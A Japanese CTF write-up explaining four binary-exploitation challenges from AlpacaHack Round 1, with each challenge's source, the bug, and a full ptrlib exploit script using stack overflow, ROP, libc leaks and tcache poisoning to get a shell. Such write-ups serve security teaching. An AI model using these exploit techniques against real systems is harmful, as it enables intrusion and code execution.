AlpacaHack Round 1 (Pwn) writeups

2024/8/18 12:00-18:00に行われた AlpacaHack Round 1 (Pwn) のwriteup。

echo (56 solves)

Cのソースコードが渡されるオーソドックスなPwn問。ソースコードは以下の通りで、Canaryなし、PIE無効。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

win 関数が置いてあり main 内の char buf[BUF_SIZE] への書き込みが行えることからバッファオーバーランを狙いたい。 書き込みできる文字数は get_size() 内で計算しており、ここの脆弱性を探す形になる。
get_data() 内では unsigned を使っているのにも関わらず get_size() の返り値が int なことから、get_size() の返り値を任意の負数にすることで文字を好きなだけ書き込める。 しかし、size = abs(size) で入力の絶対値を計算しているため、一見した限りだと負の数は万全にケアされているように思える。
この関数の脆弱性size = abs(size) の部分。32bitの符号付き整数で表現できる範囲は [-2147483648, 2147483647] であり、-2147483648 = 0x80000000abs の引数として与えるとその返り値は -2147483648 となる。
したがって、sizeにこの値を入力してからバッファーオーバーフローを起こして win 関数へと飛ぶことでフラグが得られる。

from ptrlib import *

# p = Process("./echo")
p = Socket('***', ***)
e = ELF('./echo')

input()
p.sendlineafter('Size: ', -2147483648)
p.sendlineafter('Data: ', b'A' * 280 + p64(e.symbol('win')))
p.interactive()

hexecho (27 solves)

前問のhex版。ソースコードは以下の通りで、防御機構にはStack Canaryが追加されている。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

get_size() から abs が消えているため、特に工夫せずとも任意の長さの入力を与えられるようになった。入力は scanf("%02hhx", buf + i) の形で行う必要がある。
プログラムが入力→出力→終了という構造をしており、出力によって得られた情報を入力に使えないため、どうにかして入力を繰り返し行えるようにしたい。
一番考えられる方法がバッファーオーバーフローによるリターンアドレスの書き換えだが、stack canaryが有効であるため、stack canaryの部分を読み飛ばしてその後の領域に書き込むようなペイロードを設計する必要がある。
実験をしてみると、z\0 などのhexとして解釈不可能な文字を入力した場合、その文字以降の任意の文字が無視されてしまうことがわかった。 そのため、hexとして解釈可能な文字であり、うまく読み飛ばしてくれるものを探す。
実験しながら調べていると、+ がこの条件を満たすことが分かった。具体的には、+ k 回入力した後に適当な1バイトを表すhex(22 など)を入力してあげると、先頭  k+1 バイトを飛ばして書き込みができることを発見した。
したがって、この方法を用いて先頭から一定バイトを読み飛ばした後、リターンアドレスに main のアドレスを指定してあげることで、出力の読み込みと再入力が可能になる。
このときに得られたバイト列の中には libc のアドレスの情報も入っているため、そこからlibc leakして先ほどと同様の方法でROPを行うことによりshellを奪取でき、フラグが得られる。

from ptrlib import *

p = Socket('34.170.146.252', 51786)
e = ELF('./hexecho_patched')
libc = ELF('./libc.so.6')

def to_hex(addr):
    print(hex(addr))
    h = p64(addr).hex()
    return ' '.join([h[i:i+2] for i in range(0, len(h), 2)])

p.sendlineafter('Size: ', 280 + 16)
p.recvuntil('Data (hex): ')
for i in range(279):
    p.send(b'+')
p.send('22 ')
p.sendline(to_hex(next(e.gadget('ret;'))))
p.sendline(to_hex(e.symbol('main')))

recv = p.recvlineafter('Received: ').split()
idx = recv.index(b'7f')

ofs = int(b''.join(recv[idx-5:idx+1][::-1]).decode(), 16)
libc.base = ofs - 0x7f7117a5c780 + 0x7f7117841000

p.sendlineafter('Size: ', 280 + 8 * 4)
p.recvuntil('Data (hex): ')
for i in range(279):
    p.send(b'+')
p.send('22 ')
p.sendline(to_hex(next(e.gadget('ret;'))))
p.sendline(to_hex(next(libc.gadget('pop rdi; ret;'))))
p.sendline(to_hex(next(libc.find(b'/bin/sh'))))
p.sendline(to_hex(libc.symbol('system')))

r = p.recvlineafter('Received: ')
p.interactive()

todo (5 solves)

C++のバイナリが渡される問題。最初はdeckより手前側に置いてあったはずなのだが、気づいたら解いた人数が逆転して最終問題になっていた。
ソースコードは以下の通りで、防御機構はだいたい全部あり。

#include <iostream>
#include <vector>

int main() {
  size_t choice, index;
  std::string todo;
  std::vector<std::string> todo_list;

  std::cin.rdbuf()->pubsetbuf(nullptr, 0);
  std::cout.rdbuf()->pubsetbuf(nullptr, 0);

  std::cout << "1. add" << std::endl
            << "2. show" << std::endl
            << "3. edit" << std::endl
            << "4. delete" << std::endl;
  while (std::cin.good()) {
    std::cout << "> ";
    std::cin >> choice;

    switch (choice) {
      case 1: // add
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo);
        todo_list.emplace_back(todo);
        break;

      case 2: // show
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: " << todo_list[index] << std::endl;
        break;

      case 3: // edit
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo_list[index]);
        break;

      case 4: // delete
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        todo_list.erase(todo_list.begin() + index);
        break;

      default:
        return 0;
    }
  }
  return 0;
}

std::vector<std::string> 型の配列 todo_list に読み書きと編集ができる単純なメモアプリ。
この問題の脆弱性はout of range判定が todo_list.capacity() と比較されていること。std::vector の要素数を求める関数は vec.size() であり、vec.capacity() が返すのは内部で確保しているメモリが何要素分を表すかの情報になっている。std::vector は要素の削除だけではメモリの縮小方向へのリサイズは行わないため1、たとえ一度作成した要素を削除したとしても、その要素の元々のindexを指定してアクセスすることでデータへの読み書きが可能となってしまう。

本問題はC++STLへの知識が必要であるため、std::vectorstd::string の構造の簡単な解説をここに載せておく。詳細な解説が欲しい方は この記事 を参照してほしい。
std::vector は8バイトのポインタ3つからなる構造体であり、3つのポインタはそれぞれデータの始点・データの終点・確保領域の終点を表している。データの終点が size を、確保領域の終点が capacity をそれぞれ表すことになる。 std::vector の宣言時点ではこれらのポインタは 0x0 を指すが、要素追加のタイミングで malloc により領域が確保され、各ポインタが更新される。要素数が増えて領域が不足した場合はメモリを再確保して対応する。
std::string は24バイトの構造体で、先頭にデータへのポインタ、その次にデータのサイズが格納される。文字列長が 0x10 バイト未満のときはその後の16バイト分の領域に文字列が保存されるが、文字列がそれより長い場合は malloc によって確保されたヒープ領域にデータが保存されることになる。

この問題では、一定サイズ以上の std::string がデータをヒープ領域に持つこと、deleteによって一度解放した std::string を読み書きできることからheap exploitが起こせる。
一度freeされたヒープ領域(チャンク)はそのサイズと状態によっていくつか存在するbinsのどれかに格納される。各binは単方向リストや双方向リストなどで管理されており、そのリストの結合先をうまく読み書きすることで情報取得や任意アドレスへの読み書きを行う、というのがheap exploitの概要である 2
サイズが一定の範囲に収まるチャンクはfree時に unsortedbin に格納され、再利用の機会を待つことになる。unsortedbin は双方向連結リストであり、unsortedbin に放り込まれたチャンクは main_arena.top に繋がる。main_arena はlibc内の特定領域に格納されているため、main_arena のアドレスを得ることでlibc自体が配置されているアドレスも得られる。
したがって、適切なサイズの領域を確保→解放して unsortedbin に挿入し、その領域の中身を読み込むことで、libcのアドレスを得ることができる。 今回の場合、"A" * 0x1000 をメモに追加した後にそれをdelete→showすることでで目的が達成できる。

次に、任意アドレス読み込みのための準備を行う。まずはヒープ領域に存在する todo_list[i] のアドレスをleakする。
先ほどと同様にdeleteした文字列へのshowを行うと、todo_list の任意の要素が格納している文字列自体のアドレスを得ることができる。これは todo_list[i].data のアドレスであり todo_list[i] そのもののアドレスとは異なるが、これら2つは同じヒープ領域内の近い箇所に存在しており、その位置の差も実行毎に変化しないため、適当にオフセットを取ることで todo_list[i] のアドレスも得られる。
このアドレスはsafe-linkingと呼ばれる機構によって暗号化されているが、safe-linkingに用いているkey自体もdelete→showによってleakできてしまうため、この暗号化は問題なくバイパスできる。

ここから tcachebins を書き換えて任意アドレス読み込みを行う。
tcachebins は小さいチャンクが格納されるbinsであり、チャンクサイズごとに単方向連結リストで管理されている。 malloc によって新しくメモリを確保する際、tcachebins にサイズが一致する領域が存在している場合は、ヒープ領域から新たに領域を取り出すのではなく tcachebins に保存されている領域を再利用する形でメモリを用意する。 そのため、tcachebins の単方向連結リストの接続先を任意のアドレスに書き換えてメモリを確保してあげることで、任意アドレスへの書き込みが可能となる。
今回の場合、同じ長さの文字列を2つaddした後に2回deleteし、そのうち片方をeditしてアドレスを書き換えてからさらに2回addすることで、任意アドレス書き込みが行える。
前段階で得た todo_list[0] のアドレスに対して書き込みを行い、todo_list[0] のデータポインタが environ を指すようにした後にshowすることで、スタックのアドレスを得ることができた。

libcとstackのアドレスが両方得られ、任意アドレスへの書き込みもできるようになったので、後はスタックを書き換えてシェルを奪えばよい。 まずはROPのペイロードをrbpの下に書き込む。
この状態で main から抜けてROPを発火させようとすると、todo_list のデストラクタでの free 時のエラーで落ちてしまう。 これは今まで todo_list を好き放題弄っていたことから当然の結果であり、デストラクタでエラーが起きないようにスタックをさらに改竄する必要がある。
std::vector は初期状態では全てのポインタが 0x0 を指しており、この場合は当然ながら free は行われない。そのため、スタックの todo_list に該当する領域が 0 埋めされるように任意アドレス書き換えを行う。
配列への要素追加によって todo_list のデータ終端を表すポインタが書き換え後からさらに 0x20 増えることを考慮して 0x0, -0x20, 0x0 をそれぞれ書き込むと、無事デストラクタでのエラーが回避でき、ROPの発火によりshellが得られた。

from ptrlib import *

LOCAL = False

p = Socket('***', ***)
e = ELF('./todo')
libc = ELF('./libc.so.6')

def add(s):
    p.sendlineafter('> ', '1')
    p.sendlineafter('TODO: ', s)
def delete(idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('Index: ', idx)
def show(idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Index: ', idx)
    return p.recvlineafter('TODO: ')
def edit(idx, s):
    p.sendlineafter('> ', '3')
    p.sendlineafter('Index: ', idx)
    p.sendlineafter('TODO: ', s)

add('00000000ccccdddd')
add('11111111zzzzxxxx')
add('22222222ccccdddd')
add('33333333zzzzxxxx')
add('44444444ccccdddd')
add('55555555zzzzxxxx')
add('66666666ccccdddd')
add('77777777zzzzxxxx')

add('A' * 0x1000)
delete(8)
res = show(8)
libc_ofs = int.from_bytes(res[:8], 'little')
libc.base = libc_ofs - 2206944

delete(7)
res = show(7)
heap_key = int.from_bytes(res[:8], 'little')
print(hex(heap_key))
delete(6)
res = show(6)
nex_heap_key = int.from_bytes(res[:8], 'little') ^ heap_key
print(hex(nex_heap_key))

# set vec[0] to environ
vec_addr = 0x5594035bfce0 - 0x5594035bf600 + nex_heap_key
print(hex(vec_addr))
edit(6, p64(vec_addr ^ heap_key))
add('aaaabbbbccccdddd')
add(p64(libc.symbol('environ')) + p64(8))

# environ leak
res = show(0)
stack = int.from_bytes(res[:8], 'little')
stack = 0x7ffdc92dff20 - 0x7ffdc92e00d8 + stack
print(hex(stack))

# add ROP payload
rbp_addr = stack + 0x90
add('A' * 0x30) # 8
add('A' * 0x30) # 9
delete(8)
delete(9)
edit(8, p64(rbp_addr ^ heap_key))
add('A' * 0x30)
payload = b''
payload += p64(rbp_addr)
payload += p64(next(libc.gadget('ret;')))
payload += p64(next(libc.gadget('pop rdi; ret;')))
payload += p64(next(libc.find('/bin/sh')))
payload += p64(libc.symbol('system'))
payload = payload.ljust(0x30, b'F')
add(payload)

# set string and vector as valid data
rewrite_addr = stack
add('A' * 0x70)
print('OK')
add('A' * 0x70)
delete(11)
delete(10)
print('rewrite:', hex(rewrite_addr))
edit(10, p64(rewrite_addr ^ heap_key))
add('A' * 0x70)
payload = b''.ljust(0x30, b'\0')
payload += p64(0) #vector
payload += p64(-0x20)
payload += p64(0)
payload += p64(0) # ???
payload += p64(stack + 0x60) # string
payload += p64(5)
payload += b'ABCDE\0\0\0'
payload = payload.ljust(0x70, b'\0')
print(len(payload))
add(payload)

p.sendlineafter('> ', '5')
p.interactive()

deck (11 solves)

コンテスト中に手を付けられなかったHeap問。ソースコードは以下の通りで、Canaryあり、Partial RELRO、No PIE。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define DECK_SIZE (13 * 4)
#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank))
#define CARD_SUIT(card) ((card_t)(card) >> 8)
#define CARD_RANK(card) ((card_t)(card) & 0xff)

typedef unsigned short card_t;
typedef struct _game_t {
  void (*shuffle)(card_t*);
  card_t *deck;
  char *name;
} game_t;

const char *suit_symbols[4] = {"♠", "♦", "♥", "♣"};
const char *card_numbers[13] = {"A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"};

void getstr(const char *s, char *buf, size_t len) {
  size_t i;
  printf("%s", s);

  for (i = 0; i < len; i++) {
    if (read(STDIN_FILENO, buf + i, 1) != 1) exit(1);
    if (buf[i] == '\n') break;
  }
  buf[i] = '\0';
}

ssize_t getval(const char *s) {
  ssize_t val;
  printf("%s", s);
  if (scanf("%ld%*c", &val) != 1) exit(1);
  return val;
}

void swap_cards(card_t *deck, size_t i, size_t j) {
  card_t tmp = deck[i];
  deck[i] = deck[j];
  deck[j] = tmp;
}

void shuffle_naive(card_t *deck) {
  size_t i;

  for (i = 0; i < DECK_SIZE * 2; i++)    
    swap_cards(deck, rand() % DECK_SIZE, rand() % DECK_SIZE);
}

void shuffle_knuth(card_t *deck) {
  size_t i, j;

  for (i = DECK_SIZE; i > 0; i--) {
    j = rand() % (i + 1);
    swap_cards(deck, i, j);
  }
}

void shuffle_sattolo(card_t *deck) {
  size_t i, j;

  for (i = 0; i < DECK_SIZE - 1; i++) {
    j = i + 1 + rand() % (DECK_SIZE - i - 1);
    swap_cards(deck, i, j);
  }
}

game_t* game_new() {
  game_t *game;
  char *name = NULL;
  card_t *deck = NULL;

  if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE)))
    goto err;
  if (!(name = strdup("Human")))
    goto err;
  if (!(game = (game_t*)malloc(sizeof(game_t))))
    goto err;

  for (size_t i = 0; i < DECK_SIZE; i++)
    deck[i] = MAKE_CARD(i / 13, i % 13);

  game->deck = deck;
  game->name = name;
  game->shuffle = shuffle_naive;
  srand(time(NULL));
  return game;

 err:
  if (name) free(name);
  if (deck) free(deck);
  return NULL;
}

void game_del(game_t *game) {
  free(game->deck);
  free(game->name);
  free(game);
}

void game_play(game_t *game) {
  printf("Challenger: %s\n", game->name);
  game->shuffle(game->deck);

  card_t card = game->deck[0];

  size_t suit = getval("Guess the suit (1=♠ / 2=♦ / 3=♥ / 4=♣): ");
  size_t num  = getval("Guess the number (1-13): ");

  printf("The card: %s%s\n",
         suit_symbols[CARD_SUIT(card)],
         card_numbers[CARD_RANK(card)]);

  if (suit == CARD_SUIT(card) + 1)
    puts("Your guess on the suit is correct!");
  else
    puts("Your guess on the suit is wrong...");

  if (num == CARD_RANK(card) + 1)
    puts("Your guess on the number is correct!");
  else
    puts("Your guess on the number is wrong...");
}

int main() {
  game_t *game;

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  if (!(game = game_new())) {
    puts("[-] Cannot create a game");
    return 1;
  }

  while (1) {
    puts("1. Play a game\n"
         "2. Change shuffle method\n"
         "3. Change your name");
    switch (getval("> ")) {
      case 1:
        game_play(game);
        break;

      case 2: {
        size_t choice = getval("1=Naive / 2=Fisher-Yates / 3=Sattolo: ");
        if (choice == 1)
          game->shuffle = shuffle_naive;
        else if (choice == 2)
          game->shuffle = shuffle_knuth;
        else
          game->shuffle = shuffle_sattolo;
        break;
      }

      case 3: {
        char *name;
        size_t len = getval("Length: ");

        if (len > 0x1000) {
          puts("[-] Invalid length");
          break;
        }

        if (!(name = (char*)malloc(len + 1))) {
          puts("[-] Cannot allocate memory");
          break;
        }

        getstr("Name: ", name, len);

        free(game->name);
        game->name = name;
        break;
      }

      default:
        game_del(game);
        return 0;
    }
  }
}

トランプの札からなるデッキをシャッフルして一番上を当てるゲームが遊べる他、シャッフル方法の変更と名前の変更が行える。ゲームの状態を表す game_t 構造体はヒープに確保されている他、game_t から参照している card_t *deckchar *name もそれぞれヒープ内の別領域に保持されている。
脆弱性shufle_knuth のループ部分。for文の始点が i = DECK_SIZE になっており、配列外の要素とのswapが行われる。mallocでヒープ領域に確保されている上、カードの枚数が合計52枚で1枚は2バイトであるため、このswapによってヒープ領域中の次のチャンクのサイズが書き換えられてしまう。
前述の通りカード1枚は2バイトで保存されており、上位バイトがスート、下位バイトが数値となっている。そのため、swapを行うことで次のチャンクが 0x1000x300 に書き換えられてしまうことがある。目当てのチャンクサイズを引ける確率は少なくとも1/52はあり、これだけの回数の試行であれば許容範囲内であるため、今後はswapによってチャンクサイズが 0x300 に書き換えられたと仮定して進めていく。
プログラムの開始時点の状態では、ヒープ領域中で deck の次の領域に位置するデータは game->name になっている。ここから名前変更のクエリを投げると元の game->name はfreeされ、新たにmallocで確保された name が次の game->name に代入されることになる。そのため、名前変更により deck の直後の領域をfree(ここで tcachebins[0x20] にチャンクが入る)→シャッフルでチャンクサイズを変更→再度名前変更をして deck の直後の領域を再確保(tcachebins[0x20] からチャンクを取り出し)→さらに名前変更をして再度free(tcachebins[0x300] にチャンクを格納)、という手続きを踏むことで、tcachebins のサイズ 0x300 のbinに deck の直後の領域を入れることができる3
上のような手続きを踏んで元々 game->name があった領域を tcachebins[0x300] に格納すると、次に 0x300 バイトの領域をmallocした際には game->name があった領域から続く 0x300 バイトの領域が取り出されることになる。名前変更クエリでは任意サイズのmallocmallocした領域への書き込みが同時に行えるため、これを用いることでこの領域への自由な書き込みが行えるようになった。この領域には同じくヒープに確保されている game も入っているため、game->shuffle, game->deck, game->name の指すアドレスを自由に書き換えられる。
ここからは game 構造体の中身を弄ることでlibc leakからのROPを達成する。まず、game->shuffleputs のPLTに書き換え、game->deck をlibcの適当な関数へのGOTに書き換える。 この状態でゲームを実行すると、デッキシャッフルの処理が puts(addr) の呼び出しで置換され、libcの関数のアドレスを得ることができる。libcのベースアドレスが得られたので、ついでに environ を同様の方法で読み出してstack addressも得る。
ここからROPを行う。ROPのためには任意アドレスの書き込みが必要になるが、これは任意アドレス読み込み時に puts のPLTを用いていたところをlibcの gets で置き換えてしまえば良い。leakしたstack addressを用いて game_play からのリターンアドレスの位置を計算し、そこにROPのペイロードを書き込んで発火させることでシェルが得られた。
ソースコードは以下の通り。シャッフル結果が目的のものになるまで引き直しているが、リモートにexploitを刺そうとするとタイムアウト設定などの都合でこの部分のコードが無駄に複雑になってしまった。そのため、本記事には手元でのみ動作するコードを貼ることとする。

from ptrlib import *
e = ELF("./deck")
libc = ELF("./libc.so.6")

def spawn():
    # return Socket("***", ***)
    return Process("./deck")

p = spawn()

def play():
    p.sendlineafter('> ', 1)
    p.sendlineafter('): ', 1)
    p.sendlineafter('): ', 1)

def change_shuffle_method(method):
    p.sendlineafter('> ', 2)
    p.sendlineafter('Sattolo: ', method)

def change_name(length, name):
    p.sendlineafter('> ', 3)
    p.sendlineafter('Length: ', length)
    p.sendlineafter('Name: ', name)


while True:
    change_name(0x1000, 'A'*0x1000)
    change_shuffle_method(2)
    play()
    change_name(0x10, 'X'*0x10)
    change_name(0x10, 'Y'*0x10)
    try:
        p.recvuntil('3.', timeout=1)
        payload = b'A' * 0x1f + b'\x00'
        payload += p64(e.plt('puts')) # shuffle -> plt['puts']
        payload += p64(e.got('puts')) # deck    -> got['puts'] (for libc leak)
        # change_name(0x100 - 10, payload[:-1])
        # change_name(0x200 - 10, payload[:-1])
        change_name(0x300 - 10, payload[:-1])

        # libc leak
        p.sendlineafter('> ', 1)
        p.recvline()
        line = p.recvline(timeout=1)
        if line.startswith(b'Guess'):
            continue
        libc_puts = u64(line)
        libc.base = libc_puts - libc.symbol('puts')
        assert libc.base & 0xfff == 0
        p.sendlineafter('): ', 1)
        p.sendlineafter('): ', 1)
        break
    except:
        p = spawn()
        continue

def aar(addr):
    change_name(0x10, 'T'*0x10)
    payload = b'A' * 0x1f + b'\x00'
    payload += p64(e.plt('puts')) # shuffle -> plt['puts']
    payload += p64(addr) # deck
    change_name(0x300 - 10, payload[:-1])
    p.sendlineafter('> ', 1)
    p.recvline()
    line = p.recvline(timeout=1)
    assert not line.startswith(b'Guess')
    p.sendlineafter('): ', 1)
    p.sendlineafter('): ', 1)
    return line

def aaw(addr, data):
    change_name(0x10, 'T'*0x10)
    payload = b'A' * 0x1f + b'\x00'
    payload += p64(libc.symbol('gets')) # shuffle -> gets
    payload += p64(addr) # deck
    change_name(0x300 - 10, payload[:-1])
    p.sendlineafter('> ', 1)
    p.recvline()
    p.sendline(data)
    p.sendlineafter('): ', 1)
    p.sendlineafter('): ', 1)

environ = u64(aar(libc.symbol('environ')))

rop_base = 0x404a00
rop_payload = b''
rop_payload += p64(next(libc.gadget('pop rdi; ret;')))
rop_payload += p64(next(libc.search(b'/bin/sh')))
rop_payload += p64(next(libc.gadget('ret')))
rop_payload += p64(libc.symbol('system'))


return_addr = environ + 0x7ffe72b337b8 - 0x7ffe72b33908 # return address of game_play


change_name(0x10, 'T'*0x10)
payload = b'A' * 0x1f + b'\x00'
payload += p64(libc.symbol('gets')) # shuffle -> gets
payload += p64(return_addr) # deck
change_name(0x300 - 10, payload[:-1])
p.sendlineafter('> ', 1)
p.recvline()
p.sendline(rop_payload)
p.sendlineafter('): ', 1)
p.sendlineafter('): ', 1)
p.interactive()

  1. 不要な領域を縮小するには vec.shrink_to_fit() を明示的に呼ぶ必要がある
  2. 僕は この記事 で勉強しました
  3. 詳しい処理はコード29-33行目(while True の直後)を参照。最初の名前変更で 0x1000 を確保しているのは一定以上大きな領域を取らないと deck の直後の領域のfree時にheapのtop chunkと干渉してしまいエラーになるためで、逆にその後の change_name が小さいサイズを指定しているのは初期状態での name と同じbinを使うようにする必要があるため。